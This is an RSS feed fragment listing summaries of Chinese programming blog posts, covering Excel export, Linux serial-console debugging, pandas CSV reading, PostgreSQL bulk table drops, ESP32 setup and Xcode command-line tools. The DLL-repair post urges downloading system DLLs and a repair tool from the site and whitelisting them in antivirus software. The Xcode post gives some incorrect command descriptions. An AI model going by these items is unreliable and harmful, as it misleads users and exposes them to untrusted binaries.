      <description>面向百度编程的小菜鸟，有好的方法，希望大佬多多指教&#xA;新建一个js文件，创建导出的方法。&#xA;import FileSaver from &#34;file-saver&#34;; import XLSX from &#34;xlsx&#34;; //导出方法 export function exportInfo(tableId,name) { //此处的入参是表格的id ，name是导出时的名称 console.log(&#34;导出&#34;) var wb = XLSX.utils.table_to_book( document.querySelector(&#34;#&#34; + tableId ), ); var wbout = XLSX.write(wb, { bookType: &#34;xlsx&#34;, bookSST: true, type: &#34;array&#34;, }); try { FileSaver.saveAs( new Blob([wbout], { type: &#34;application/octet-stream&#34; }), name + &#34;.xlsx&#34; //下载的时候默认的名称 ); } catch (e) { if (typeof console !== &#34;undefined&#34;) { console.log(e, wbout); } } return wbout; } 2.</description>
    </item>
    <item>
      <title>OS Install for debug</title>
      <link>https://bchobby.github.io/posts/26b83d51b2f53f19b02b554c2f32628e/</link>
      <pubDate>Mon, 27 Feb 2023 14:26:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26b83d51b2f53f19b02b554c2f32628e/</guid>
      <description>1. Conmercial OS, Centos/Redhat/Fedora rufus + ISO + GPT + OS label -&amp;gt; installer driveinstaller driver + SSDgrubby --update-kernel=ALL --args=“console=tty0 console=ttyS0,115200n8 loglevel=8”grubby --update-kernel=ALL --remove-args=“quiet”cp /lib/systemd/system/serial-getty@.service /lib/systemd/system/serial-getty@.service.baksed ‘/ExecStart=/cExecStart=-/sbin/agetty -a root -8 -L %I 115200 $TERM’ -i /lib/systemd/system/serial-getty@.service 2. Debug OS, SVOS, fwts, openwrt balenaEtcher.exe + .imgcp /lib/systemd/system/serial-getty@.service /lib/systemd/system/serial-getty@.service.baksed ‘/ExecStart=/cExecStart=-/sbin/agetty -a root -8 -L %I 115200 $TERM’ -i /lib/systemd/system/serial-getty@.service 3.ESXI OS - rufus -&amp;gt; MBR + BIOS (UEFI-CSM) + VolumeLable(OS) + FileSystem(Fat32) + ClusterSize(16k) - copy EXSI so contents to installer drive - copy KS.</description>
    </item>
    <item>
      <title>Qt安装完毕后，如何再添加移除组件</title>
      <link>https://bchobby.github.io/posts/f5aedcc72ef66083a524c763ea64f1a6/</link>
      <pubDate>Mon, 27 Feb 2023 13:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5aedcc72ef66083a524c763ea64f1a6/</guid>
      <description>Qt安装完毕后，如何再添加移除组件 环境说明背景具体步骤 环境说明 操作系统：Windows10专业版&#xA;Qt版本：qt-5.15.2&#xA;背景 最初安装qt5.15.2时只安装了MinGW-32的编译套件，想增加MinGW-64的编译套件。&#xA;具体步骤 1、在windows资源管理器中找到qt的安装目录，我的电脑是D:\Qt，如下图：&#xA;2、双击qt安装目录下的MaintenanceTool.exe，如下图：&#xA;3、双击之后出现下图：&#xA;4、直接点击“下一步”，出现下图：&#xA;5、选择“添加或移除组件”，然后点击“下一步”，出现下图：&#xA;根据需要勾选要添加的组件，就可以点击“下一步”按钮，然后等待安装完成就行了。</description>
    </item>
    <item>
      <title>Python 之 Pandas 文件操作和读取 CSV 参数详解</title>
      <link>https://bchobby.github.io/posts/0bec3e1a16c33d40681a150ad3499d83/</link>
      <pubDate>Mon, 27 Feb 2023 10:28:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bec3e1a16c33d40681a150ad3499d83/</guid>
      <description>文章目录 一、Pandas 读取文件二、CSV 文件读取1. 基本参数2. 通用解析参数3. 空值处理相关参数4. 时间处理相关参数5. 分块读入相关参数 一、Pandas 读取文件 当使用 Pandas 做数据分析的时，需要读取事先准备好的数据集，这是做数据分析的第一步。Panda 提供了多种读取数据的方法，针对不同的文件格式，有以下几种：（1） read_csv() 用于读取文本文件。（2） read_excel() 用于读取文本文件。（3） read_json() 用于读取 json 文件。（4） read_sql_query() 读取 sql 语句的。其通用的流程如下：（1） 导入库 import pandas as pd。（2） 找到文件所在位置（绝对路径 = 全称）（相对路径 = 和程序在同一个文件夹中的路径的简称）。（3） 变量名 = pd.读写操作方法（文件路径，具体的筛选条件，……）。 二、CSV 文件读取 CSV 又称逗号分隔值文件，是一种简单的文件格式，以特定的结构来排列表格数据。 CSV 文件能够以纯文本形式存储表格数据，比如电子表格、数据库文件，并具有数据交换的通用格式。CSV 文件会在 Excel 文件中被打开，其行和列都定义了标准的数据格式。将 CSV 中的数据转换为 DataFrame 对象是非常便捷的。和一般文件读写不一样，它不需要你做打开文件、读取文件、关闭文件等操作。相反，您只需要一行代码就可以完成上述所有步骤，并将数据存储在 DataFrame 中。下面进行实例演示，源数据如下： 首先，我们对 CSV 文件进行读取，可以通过相对路径，也可以通过 os 动态取得绝对路径 os.getcwd() os.path.json。 import pandas as pd df = pd.read_csv(&#34;./data/my_csv.csv&#34;) print(df,type(df)) # col1 col2 col3 col4 col5 #0 2 a 1.</description>
    </item>
    <item>
      <title>解决Windows因找不到msvcr110.dll无法运行程序</title>
      <link>https://bchobby.github.io/posts/26c9c4190f14519db7c47b6c68df29d9/</link>
      <pubDate>Mon, 27 Feb 2023 10:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26c9c4190f14519db7c47b6c68df29d9/</guid>
      <description>其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题，如果是新手第一时间会认为是软件或游戏出错了，其实并不是这样，其主要原因就是你电脑系统的该dll文件丢失了或者损坏了，这时你只需下载这个msvcr110.dll文件进行安装(前提是找到适合的版本)，当我们执行某一个.exe程序时，相应的DLL文件就会被调用，因此安装好之后就能重新打开你的软件或游戏了.&#xA;那么出现msvcr110.dll丢失要怎么解决？&#xA;一、手动从本站下载dll文件 1、从下面列表下载msvcr110.dll文件&#xA;32位 文件:&#xA;msvcr110.dll 11.0.61135.400&#xA;64位 文件:&#xA;msvcr110.dll 11.0.61135.400&#xA;2、将下载的文件放入到你要运行的软件或者游戏的安装所在文件夹之中，可以右键点击主执行程序.exe然后选择&#34;打开文件所在的位置&#34; 找到安装目录，将文件复制进去。&#xA;或者将文件复制到Windows系统目录，这个需要注意电脑的系统是32位还是64位，如果是32位的系统，那就将本站下载32位的dll文件放到“C:/Windows/System32”这个文件夹里面,如果是64位的系统，那就将本站下载的32位dll文件放到“C:/Windows/SysWOW64”这个文件夹里面,本站下载的64位文件放到“C:/Windows/System32”这个文件夹里面.&#xA;如果问题依然无法解决，值得注意的是此类文件的丢失有时候和杀毒软件的误报毒有关，所以请将此类dll文件添加到杀毒软件的信任列表当中.&#xA;二、使用本站提供的软件进行自动修复 本站出品的DLLEscort软件具有修复Windows系统文件的特性，它可以帮助你修复系统软件或游戏丢失的DLL运行库文件。 如:DirectX游戏运行库,directx出现错误导致的游戏打不开等BUG; VC(Microsoft Visual C++)运行库是在Windows系统下运行Visual Studio开发的应用必备组件，缺少的话无法运行软件，会出现提示缺少DLL的情况。&#xA;DLLEscort全面支持32/64位 Windows XP,Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 操作系统&#xA;下载地址：本站下载 | 百度网盘下载(提取码: 9999),下载完成后得到安装包文件运行后，点击Next下一步进行安装，安装完毕后会自动打开软件或手动执行桌面主程序(DLLEscort)即可打开软件，&#xA;桌面软件图标:&#xA;一、点击“PC Scan”或 “Click to Start Scan”开始对系统丢失文件扫描&#xA;二、扫描完成，扫描结果分成三部分，包括1，待修复的丢失文件。 2，待修复的注册表。 3.待清理的系统缓存文件。&#xA;三、点击”ALL Repair”修复开始，请保持网络通畅,直到所有问题修复完成。</description>
    </item>
    <item>
      <title>postgresql执行模糊批量删除表</title>
      <link>https://bchobby.github.io/posts/e88650a553018bb1c0d1164f3a567818/</link>
      <pubDate>Mon, 27 Feb 2023 10:00:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e88650a553018bb1c0d1164f3a567818/</guid>
      <description> DO $$ DECLARE d varchar(128); BEGIN FOR d IN select &#39;drop table &#39;||schemaname||&#39;.&#39;||tablename||&#39;;&#39; from pg_tables where schemaname||&#39;.&#39;||tablename like &#39;%public.要删除的表前缀%&#39; loop EXECUTE d; END LOOP; END; $$ </description>
    </item>
    <item>
      <title>项目管理工具dhtmlxGantt甘特图入门教程（十四）：导出/导入 Excel到 iCal</title>
      <link>https://bchobby.github.io/posts/add081b799c7ab9074c8a7ae2d499a82/</link>
      <pubDate>Mon, 27 Feb 2023 09:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add081b799c7ab9074c8a7ae2d499a82/</guid>
      <description>这篇文章给大家讲解利用dhtmlxgantt导入/导出Excel到iCal的操作方法。 dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表，可满足应用程序的所有需求，是完善的甘特图图表库&#xA;DhtmlxGantt正版试用下载（qun；765665608）https://www.evget.com/product/4213/download&#xA;dhtmlxGantt库可以让您以Excel和iCal格式从甘特图中导出数据。您还可以将数据从 Excel文件导入甘特图。&#xA;1、导出到 Excel&#xA;要将甘特图中的数据导出到Excel文档，请执行以下操作：&#xA;在页面中包含“https://export.dhtmlx.com/gantt/api.js”文件以启用在线导出服务： &amp;lt;script src=&#34;codebase/dhtmlxgantt.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://export.dhtmlx.com/gantt/api.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;codebase/dhtmlxgantt.css&#34; type=&#34;text/css&#34;&amp;gt; 调用exportToExcel方法从甘特图中导出数据： &amp;lt;input value=&#34;Export to Excel&#34; type=&#34;button&#34; οnclick=&#39;gantt.exportToExcel()&#39;&amp;gt; &amp;lt;script&amp;gt; gantt.init(&#34;gantt_here&#34;); gantt.parse(demo_tasks); &amp;lt;/script&amp;gt; 使用可选属性调用导出方法&#xA;gantt.exportToExcel({ name:&#34;document.xlsx&#34;, columns:[ { id:&#34;text&#34;, header:&#34;Title&#34;, width:150 }, { id:&#34;start_date&#34;, header:&#34;Start date&#34;, width:250, type:&#34;date&#34; } ], server:&#34;https://myapp.com/myexport/gantt&#34;, visual:true, cellColors:true, data:{}, date_format: &#34;dddd d, mmmm yyyy&#34; }); 默认日期参数&#xA;导出模块期望start_date和end_date列具有Date类型，而duration列具有number类型。&#xA;在应用自定义模板的情况下，要么返回预期类型的值，要么在列配置的name属性中定义不同的值。例如：&#xA;gantt.config.columns = [ ... {name: &#34;start_date&#34;, align: &#34;center&#34;, width: 100, resize: true, editor: start_dateEditor}, {name: &#34;</description>
    </item>
    <item>
      <title>五-2、vue中引用文件路径问题</title>
      <link>https://bchobby.github.io/posts/2c9ff6fdd7d506e093732fb5380931f9/</link>
      <pubDate>Mon, 27 Feb 2023 09:48:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c9ff6fdd7d506e093732fb5380931f9/</guid>
      <description>vue路径分为： 绝对路径、相对路径、~+路径 及 别名+路径&#xA;绝对路径： （1）放在public文件夹下的内容，不会经过webpack打包处理，可以直接引用，&#xA;比如：aa.png直接放在public文件夹下，不管在哪个文件里，都可以这么引用&#xA;&amp;lt;img src=&#34;aa.png&#34; style=&#34;width: 200px; height: 200px&#34; /&amp;gt;&#xA;（2）通过别名引用&#xA;在js中，引入带别名的文件路径，不需要在别名前加~ ，在css或者style中引入的需要在路径前面加~，路径以 ~ 开头，其后的部分将会被看作模块依赖。这意味着你可以用该特性来引用一个 Node 依赖中的资源，~相当于reqiure。&#xA;在vue.config.js中定义了别名&#xA;chainWebpack: (config) =&amp;gt; {&#xA;config.resolve.alias&#xA;.set(&#39;@&#39;, resolve(&#39;src&#39;)) //本项目路径src路径设置别名为@&#xA;.set(&#39;_conf&#39;, resolve(&#39;src/config&#39;)) //本项目路径src/config路径设置别名为_conf&#xA;.set(&#39;_iconfont&#39;, resolve(&#39;src/assets/icons/iconfont&#39;))&#xA;.set(&#39;_css&#39;, resolve(&#39;src/assets/css/&#39;))&#xA;.set(&#39;_img&#39;, resolve(&#39;src/assets/img/&#39;))&#xA;.set(&#39;_js&#39;, resolve(&#39;src/assets/js/&#39;))&#xA;.set(&#39;_components&#39;, resolve(&#39;src/components&#39;))&#xA;.set(&#39;_header&#39;, &#39;src/Header&#39;)&#xA;.set(&#39;_footer&#39;, &#39;src/Footer&#39;)&#xA;}&#xA;在vue中引入js文件和css文件&#xA;注意在script中路径前面都没有~&#xA;&amp;lt;script&amp;gt;&#xA;import index from &#34;_js/index.js&#34;; ==src/assets/js/index.js&#xA;import &#34;swiper/swiper.min.css&#34;; ==node_modules/swiper/swiper.min.css&#xA;import &#34;_js/vendor/swiper/swiper.min.css&#34;; ==src/assets/js/vendor/swiper/swiper.min.css&#xA;&amp;lt;/script&amp;gt;&#xA;注意style中使用别名的路径前面需要加~ &amp;lt;style scoped&amp;gt;&#xA;@import url(~_css/index.css); ==src/assets/css/index.css</description>
    </item>
    <item>
      <title>第一讲：ESP32-IDF&#43;VSCode开发环境配置</title>
      <link>https://bchobby.github.io/posts/d1f923641a84ac8e6d56fc7b5e3b0d73/</link>
      <pubDate>Mon, 27 Feb 2023 09:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1f923641a84ac8e6d56fc7b5e3b0d73/</guid>
      <description>第一讲：ESP32-IDF+VSCode开发环境配置 文章目录 第一讲：ESP32-IDF+VSCode开发环境配置1.1写进ESP32芯片的二进制程序的生成方式1.2ESP32-IDF+VSCode开发环境搭建流程介绍1.2.1安装前的准备1.2.2开始安装esp-idf-tools-setup-offline-2.10.exe1.2.3配置ESP-IDF插件 1.3使用ESP-IDF+VSCode创建第一个点亮LED小灯的项目1.3.1在VSCode中搭建ESP32项目1.3.2编译blink LED闪烁工程文件1.3.3下载程序到我们的开发板1.3.4查看串口数据 1.1写进ESP32芯片的二进制程序的生成方式 ​ 在进行开发环境配置之前我们需要知道，ESP32的CPU只可以读懂二进制文件，而我们在电脑上使用高级语言（例如C语言或者Python）编写的程序是无法直接烧录到我们的开发板上的。因此我们搭建开发环境的目的在于将我们使用高级语言编写的程序转换成为二进制文件（windows下扩展名常为.bin）。如下图&#xA;图1.1.1ESP能够读懂的二进制文件（由开发环境编译生成）&#xA;​ 在我们使用开发环境生成好上图所示的二进制文件，我们就可以通过ESP官方提供的下载工具或者通过命令行直接将程序下载到我们的开发板。&#xA;图1.1.2 官方提供的运行程序下载工具&#xA;图1.1.3 通过命令行下载程序到开发板&#xA;​ 那么问题来了，我们的开发环境是如何将我们用高级语言写的程序，转换成二进制文件的呢。如下图所示，我们的高级语言程序（例如.c/.h文件）经过IDF和它内部集成的工具链生成二进制文件。那么IDF是什么呢，IDF是ESP32官方给我们提供的开发SDK，它集成了大量的软件组件，包括 RTOS、外设驱动程序、网络栈、多种协议实现技术以及常见应用程序的使用助手。他就相当于我们进行STM32开发过程中使用的固件库，但是它的功能更为强大。&#xA;图1.1.4 可执行文件的生成方式—由ESP32官方提供&#xA;​ 以VSCode+IDF为例，我们的我们在VSCode中编写完毕代码程序后，利用乐鑫公司开发的插件可以将我们编写的高级语言程序编译为二进制文件，甚至你可以在VSCode中一键下载程序进入开发板（VSCode需要升级到最新版本）。好了啰嗦了这么多下面我们开始正式开始搭建ESP32开发环境吧。&#xA;1.2ESP32-IDF+VSCode开发环境搭建流程介绍 1.2.1安装前的准备 ​ 1）安装python3.8 环境&#xA;​ 2）安装VSCode软件&#xA;​ 3）安装C++编译环境&#xA;​ 4）下载esp-idf-tools-setup-offline-2.10.exe（下载地址：https://dl.espressif.com/dl/esp-idf/?idf=4.4，先保存到迅雷云盘再下载）&#xA;Python、VSCode和GCC的安装方法较为简单这里不再赘述，但是要特别注意,Python版本一定要大于3.8！！！！！！！！另外python和gcc一定要记得添加环境变量到电脑如下图。&#xA;图1.2.1 配置环境变量&#xA;python安装完成后在cmd控制台输入命令python检查是否真的安装完成，出现如下提示即为安装成功&#xA;C++编译环境搭建完成后在控制台输入gcc -v检查是否安装成功，安装成功则提示&#xA;1.2.2开始安装esp-idf-tools-setup-offline-2.10.exe ​ 1）双击esp-idf-tools-setup-offline-2.10.exe文件进入到安装页面出现下图，选择简体中文并确定&#xA;​ 2)点击我同意然后下一步&#xA;3）然后就会进入安装环境检查，最好是推出360等杀毒软件，等待检查完毕后点击下一步即可&#xA;4）然后就进入到了我们ESP32库函数的放置目录，选择一个文件夹放置我们的IDF（建议选择C盘以外的文件夹）。IDF内部包含官方提供的例程以及固件库，是我们学习ESP32的重要工具。因为这里我们是离线安装，所以IDF不需要我们自己再去Git仓库上下载了（从Git上下载真的慢啊。。。）。这里我们选择的版本是v4.3.1最新版本（截止到2021.11.14），选择完毕后点击下一步。&#xA;5）然后我们进入到我们IDF-Tools工具的安装路径配置页面，建议选择C盘之外的空间进行安装，因为这个文件会非常大。IDF-Tools内部包含了我们编译C代码需要的工具，包括Cmake和Git工具等。&#xA;注：cmake是一个跨平台的安装（编译）工具，可以用简单的语句来描述所有平台的编译过程。他能够输出各种各样的makefile或者project文件，能测试编译器所支持的C++特性。CMake的组态栏取名为CMakeLists.txt。简单来说就是，我们在C代码中经常用include来包含外部接口&amp;lt;叫函数也行&amp;gt;，达到调用外部函数的目的。但是我们的C程序中文件经常互相包含关系非常复杂，如果我们使用命令行来进行人力链接的话会非常麻烦，有了Cmake我们只需要将调用关系通过CMakeLists.txt告诉CMake，链接工作就会由CMake自动帮我们完成。&#xA;配置完成后点击下一步。&#xA;6）这里我们先选择默认即可，点击下一步。&#xA;7）点击安装开始进入漫长的安装&#xA;8）进入到漫长的等待安装完成环节&#xA;9）开始安装驱动&#xA;10）安装驱动过程中会弹出如下对话框，点击安装&#xA;11）点击完成，完成安装&#xA;注意：安装完Tools后，可以在其安装目录下看到python安装目录，一定要通过命令E:\Programs.espressif\python_env\idf4.3_py3.8_env\Scripts\python.exe -m pip install --upgrade pip(安装目录下的python.exe文件，根据自己实际情况来) 更新pip否则安装过程会出错，另外如果安装过程中出现pip版本无法更新可以通过命令easy_install.exe pip进行修复或更新。如若以上方法仍旧无法进行pip升级，还可以通过清华大学镜像（https://pypi.tuna.tsinghua.edu.cn/simple/pip/），下载完whl离线包后，通过命令：***\python_env\idf5.0_py3.8_env\scripts\python.exe -m pip install pip-23.0.1-py3-none-any.whl，来进行更新。&#xA;注：一定要更新！！！！&#xA;1.2.3配置ESP-IDF插件 1）在VSCode的插件仓库中搜索ESP即会出现如图界面，点击Install进行安装（全程使用管理员权限运行vscode）</description>
    </item>
    <item>
      <title>xcode命令行汇总-总有你不知道的</title>
      <link>https://bchobby.github.io/posts/01b6c39cbddfc46d15631439ddb744ad/</link>
      <pubDate>Sun, 26 Feb 2023 22:13:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01b6c39cbddfc46d15631439ddb744ad/</guid>
      <description>Xcode命令行工具提供了一系列有用的命令，可以帮助开发人员在终端环境下快速进行编译、打包、代码签名、调试等操作。以下是一些常用的Xcode命令行命令：&#xA;xcodebuild：用于在终端环境下进行项目的编译、测试、打包等操作，支持多种参数，如指定工程文件路径、选择构建目标、指定代码签名等。&#xA;xcodebuild build：构建Xcode项目；xcodebuild clean：清理构建目录；xcodebuild test：运行Xcode项目的测试套件；xcodebuild analyze：对Xcode项目进行静态代码分析；xcodebuild archive：将Xcode项目打包成归档文件；xcodebuild exportArchive：导出打包好的Xcode项目；xcodebuild install：安装Xcode项目；xcodebuild uninstall：卸载Xcode项目；xcodebuild -list：列出Xcode项目的所有构建目标、方案和配置文件。 xcrun：用于管理和运行Xcode工具链中的命令行工具，包括但不限于clang、git、simctl等，支持多种参数，如选择工具链版本、指定运行环境等。&#xA;clang 命令可以编译C、C++、Objective-C和Objective-C++源代码；lipo 命令可以操作静态库和可执行文件的多个架构；otool 命令可以查看静态库和可执行文件的二进制文件；swift 命令可以编译Swift源代码；xcodebuild 命令可以构建、测试、打包和分发Xcode项目；instruments 命令可以执行性能测试和UI自动化测试。 xcode-select：用于管理Xcode命令行工具的版本和路径，支持设置当前使用的工具链路径、查看可用的Xcode版本列表等操作。&#xA;xctest：用于在终端环境下运行Xcode项目中的单元测试，支持多种参数，如指定测试目标、输出测试报告等。&#xA;xip：用于将Xcode项目打包成XIP（Xcode Installation Package）文件，方便分发和安装，支持多种参数，如指定输出路径、选择签名证书等。&#xA;xed：用于在终端环境下打开指定的文件或目录，支持多种参数，如打开文件时指定行号、选择编辑器等。&#xA;--launch 参数用于在打开项目或文件后启动Xcode；&#xA;--wait 参数用于在打开项目或文件后等待Xcode关闭； xed命令还可以使用一些选项来打开指定类型的文件，例如使用-b或--background选项打开一个后台进程，并使用-s或--source选项打开一个源代码文件。&#xA;--no-wait 参数用于在打开项目或文件后不等待Xcode关闭，直接返回到终端；--line 或 --column 参数用于指定在打开文件后跳转到指定的行或列。 xcrun simctl：用于管理和运行模拟器，支持多种参数，如启动模拟器、安装APP、模拟GPS等。&#xA;list 子命令用于列出所有可用的模拟器；create 子命令用于创建一个新的模拟器；boot 子命令用于启动一个指定的模拟器；install 子命令用于安装一个APP到指定的模拟器；launch 子命令用于启动一个指定的APP；uninstall 子命令用于卸载一个指定的APP；delete 子命令用于删除一个指定的模拟器；snapshot 子命令用于创建或还原一个模拟器的快照；recordVideo 子命令用于录制模拟器屏幕的视频；screenshot 子命令用于截取模拟器屏幕的截图。 xcrun instruments：用于运行Xcode的Instruments工具，可以对APP进行性能分析、内存泄漏检测、UI测试等操作，支持多种参数，如指定模板、选择设备等。&#xA;-t 或 --template 参数用于指定运行的Instruments模板，例如使用Time Profiler模板进行时间性能分析，或使用Allocations模板进行内存泄漏检测；-w 或 --wait-for-apps 参数用于指定应用启动前等待的时间；-l 或 --launch 参数用于指定应用的Bundle Identifier，并启动应用；-d 或 --device 参数用于指定运行的设备类型；-e 或 --environment 参数用于指定运行应用时的环境变量；-s 或 --script 参数用于指定脚本文件路径，可以用来执行自定义脚本。 以上是一些常用的Xcode命令行命令，使用它们可以方便地在终端环境下进行各种开发和调试操作。需要注意的是，使用Xcode命令行工具前需要先安装Xcode，并在Xcode的“Preferences”中勾选“Command Line Tools”选项。</description>
    </item>
    <item>
      <title>用python写一个支持加减乘除的简单计算器</title>
      <link>https://bchobby.github.io/posts/2574dd9119080fe05d964ff964fbc8b4/</link>
      <pubDate>Sun, 26 Feb 2023 16:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2574dd9119080fe05d964ff964fbc8b4/</guid>
      <description># 计算器程序 def add(x, y): return x + y def subtract(x, y): return x - y def multiply(x, y): return x * y def divide(x, y): return x / y print(&#34;请选择运算：&#34;) print(&#34;1. 加&#34;) print(&#34;2. 减&#34;) print(&#34;3. 乘&#34;) print(&#34;4. 除&#34;) # 获取用户输入 choice = input(&#34;请输入你的选择（1/2/3/4）：&#34;) num1 = float(input(&#34;请输入第一个数字：&#34;)) num2 = float(input(&#34;请输入第二个数字：&#34;)) if choice == &#39;1&#39;: print(num1, &#34;+&#34;, num2, &#34;=&#34;, add(num1, num2)) elif choice == &#39;2&#39;: print(num1, &#34;-&#34;, num2, &#34;=&#34;, subtract(num1, num2)) elif choice == &#39;3&#39;: print(num1, &#34;</description>
    </item>
    <item>
      <title>TensorRT安装教程</title>
      <link>https://bchobby.github.io/posts/df6ab5762b9629bc0a336f83c8a64f81/</link>
      <pubDate>Sun, 26 Feb 2023 16:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df6ab5762b9629bc0a336f83c8a64f81/</guid>
      <description> 一、使用tar安装TensorRT 使用nvcc -V 查看cuda版本，下载对应的TensorRT包&#xA;压缩包解压&#xA;tar xvf TensorRT-8.4.3.1.Linux.x86_64-gnu.cuda-11.6.cudnn8.4.tar 安装与自己的python环境对应的包&#xA;cd TensorRT-8.4.3.1/python pip install tensorrt-8.4.3.1-cp37-none-linux_x86_64.whl 将下面的语句写入~/.bashrc，并source ~/.bashrc&#xA;export LD_LIBRARY_PATH=/&amp;lt;path/to/tensorrt&amp;gt;/TensorRT-8.4.3.1/lib:$LD_LIBRARY_PATH 二、确保安装了cudnn 上面的TensorRT对应的cudnn版本是8.4。&#xA;xz -d cudnn-linux-x86_64-8.4.0.27_cuda11.6-archive.tar.xz tar -xvf cudnn-linux-x86_64-8.4.0.27_cuda11.6-archive.tar 将下面的语句写入~/.bashrc，并source ~/.bashrc&#xA;export LD_LIBRARY_PATH=/&amp;lt;path/to/cudnn&amp;gt;/cudnn-linux-x86_64-8.4.0.27_cuda11.6-archive/lib:$LD_LIBRARY_PATH </description>
    </item>
    <item>
      <title>数据倾斜、数据漂移及hiveSQL优化</title>
      <link>https://bchobby.github.io/posts/5cd50be399155d046144f87abbb80761/</link>
      <pubDate>Sun, 26 Feb 2023 15:06:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cd50be399155d046144f87abbb80761/</guid>
      <description>1. ODS 层采用什么压缩方式和存储格式？ 压缩采用 Snappy ，存储采用 orc ，压缩比是 100g 数据压缩完 10g 左右。&#xA;2. DWD 层做了哪些事？ 1.、数据清洗&#xA;空值去除过滤核心字段无意义的数据，比如订单表中订单 id 为 null，支付表中支付id 为空对手机号、身份证号等敏感数据脱敏对业务数据传过来的表进行维度退化和降维。将用户行为宽表和业务表进行数据一致性处理&#xA;2、 清洗的手段&#xA;Sql、mr、rdd、kettle、Python（项目中采用 sql 进行清除） 3.、DWS 层做了哪些事？ 1.、DWS 层有 3-5 张宽表（处理 100-200 个指标 70%以上的需求）&#xA;具体宽表名称：用户行为宽表，用户购买商品明细行为宽表，商品宽表，购物车、宽表，物流宽表、登录注册、售后等。&#xA;2.、哪个宽表最宽？大概有多少个字段？&#xA;最宽的是用户行为宽表。大概有60-100 个字段&#xA;4、数据漂移 4.1、什么是数据漂移及情况 通常是指ods表的同⼀个业务⽇期数据中包含了前⼀天或后⼀天凌晨附近的数据或者丢失当天变更的数据，这种现象就叫做漂移，&#xA;4.2、解决数据漂移思路 两种方法：&#xA;**方法一：**多获取一点后⼀天的数据，保障数据只多不少（简单粗暴）&#xA;**方法二：**第⼀种⽅案⾥，时间戳字段分为四类：&#xA;数据库表中⽤来标识数据记录更新时间的时间戳字段（假设这类字段叫modified time ）。数据库⽇志中⽤来标识数据记录更新时间的时间戳字段·（假设这类宇段叫 log_time）。数据库表中⽤来记录具体业务过程发⽣时间的时间戳字段 （假设这类字段叫 proc_time）。标识数据记录被抽取到时间的时间戳字段（假设这类字段 extract time）。 理论上这⼏个时间应该是⼀致的，但往往会出现差异，造成的原因可能为：&#xA;数据抽取需要⼀定的时间，extract_time 往往晚于前三个时间。&#xA;业务系统⼿动改动数据并未更新 modfied_time。&#xA;⽹络或系统压⼒问题，log_time 或 modified_time 晚于 proc_time。&#xA;通常都是根据以上的某⼏个字段来切分 ODS 表，这就产⽣了数据漂移。具体场&#xA;景如下：&#xA;1、根据 extract_time 进⾏同步。</description>
    </item>
    <item>
      <title>如何将CAJ文件转换成PDF格式？分享两种实用的方法</title>
      <link>https://bchobby.github.io/posts/3d36a74ee1da6dcf416feb36f6ff30cc/</link>
      <pubDate>Sun, 26 Feb 2023 10:28:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d36a74ee1da6dcf416feb36f6ff30cc/</guid>
      <description>CAJ是一种特定的文献格式，通常用于中国学术期刊和学位论文等。在学习生活中我们查阅一些文献资料，一些权威文献报刊通常情况下都是CAJ文件格式，打开它需要使用专业的阅读工具 ，这时候就需要将它转换成PDF格式，方便我们阅读。如何将CAJ文件转换成PDF格式？分享两种实用的方法&#xA;第一种、使用CAJ Viewer软件将其打印为pdf 1.下载并安装CAJViewer软件。可以从中国知网官网下载该软件，或从其他网站下载。&#xA;2.打开CAJViewer软件，将需要转换的CAJ文件打开。&#xA;3.点击“文件”选项卡，然后选择“打印”选项卡。&#xA;4.点击“打印机”一栏中的“名称”下拉框，选择“Microsoft Print to PDF”或“Foxit PDF Editor Printer”或“Adobe PDF”选项，开始将CAJ文件转换为PDF文件。&#xA;第二种、使用在线转换工具将CAJ转换为PDF 这里我们使用记灵在线工具&#xA;1.我们搜索公众号：记灵&#xA;2.点击在线使用，搜索CAJ，然后点击CAJ转PDF&#xA;3.上传需要转换的CAJ文件，完成后点击下载就可以了。&#xA;总之，以上二种方法都可以将CAJ文件转换为PDF文件。您可以根据个人偏好和需要，选择其中一种方法来完成操作。</description>
    </item>
    <item>
      <title>【Unity基础框架】YooAsset 学习（一）</title>
      <link>https://bchobby.github.io/posts/e29afff6f9a6b72474a17a7f2bb9d457/</link>
      <pubDate>Sat, 25 Feb 2023 21:52:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e29afff6f9a6b72474a17a7f2bb9d457/</guid>
      <description>YooAsset 学习记录 跟着b站视频+文档学习的&#xA;地址：https://github.com/tuyoogame/YooAsset&#xA;b站视频：https://space.bilibili.com/328590743文档看它项目里的就行 YooAsset 基于的原理也是来源于Unity的 AssetBundle 和 Addressable&#xA;AssetBundle的原理及最佳实践&#xA;YooAsset简介 具体的简介项目里都有，就简单截一些了&#xA;1.Editor 1.1导入YooAsset 直接看文档。&#xA;总共三种，用的是这种&#xA;1.2 全局配置 在Resources下新建 YooAsset 配置文件&#xA;1.3 资源配置 配置直接看文档&#xA;1.3.1 AutoCollectShaders 新版已经没有这个选项了。&#xA;ShaderVariant Collector 仍在&#xA;旧版：&#xA;搜集所有Group内的材质球，把它们的shader打入一个包内&#xA;这里设置好后打开&#xA;为了防止Shader资源荣誉，点击搜集变种生成&#xA;点击完毕后，会跳到它给我们的一个所有Shader的材质球展示界面。以及生成了 ShaderVariants 的搜集结果文件&#xA;然后在热更资源目录新建一个文件夹，放入这个配置文件&#xA;然后在YooAsset打包配置里新建一个它的收集器&#xA;专门为它自定义一个打包规则&#xA;这里返回的名称和Shader Bundle Name一致&#xA;最后给搜集器换成自定义的打包规则类即可&#xA;1.4 资源打包 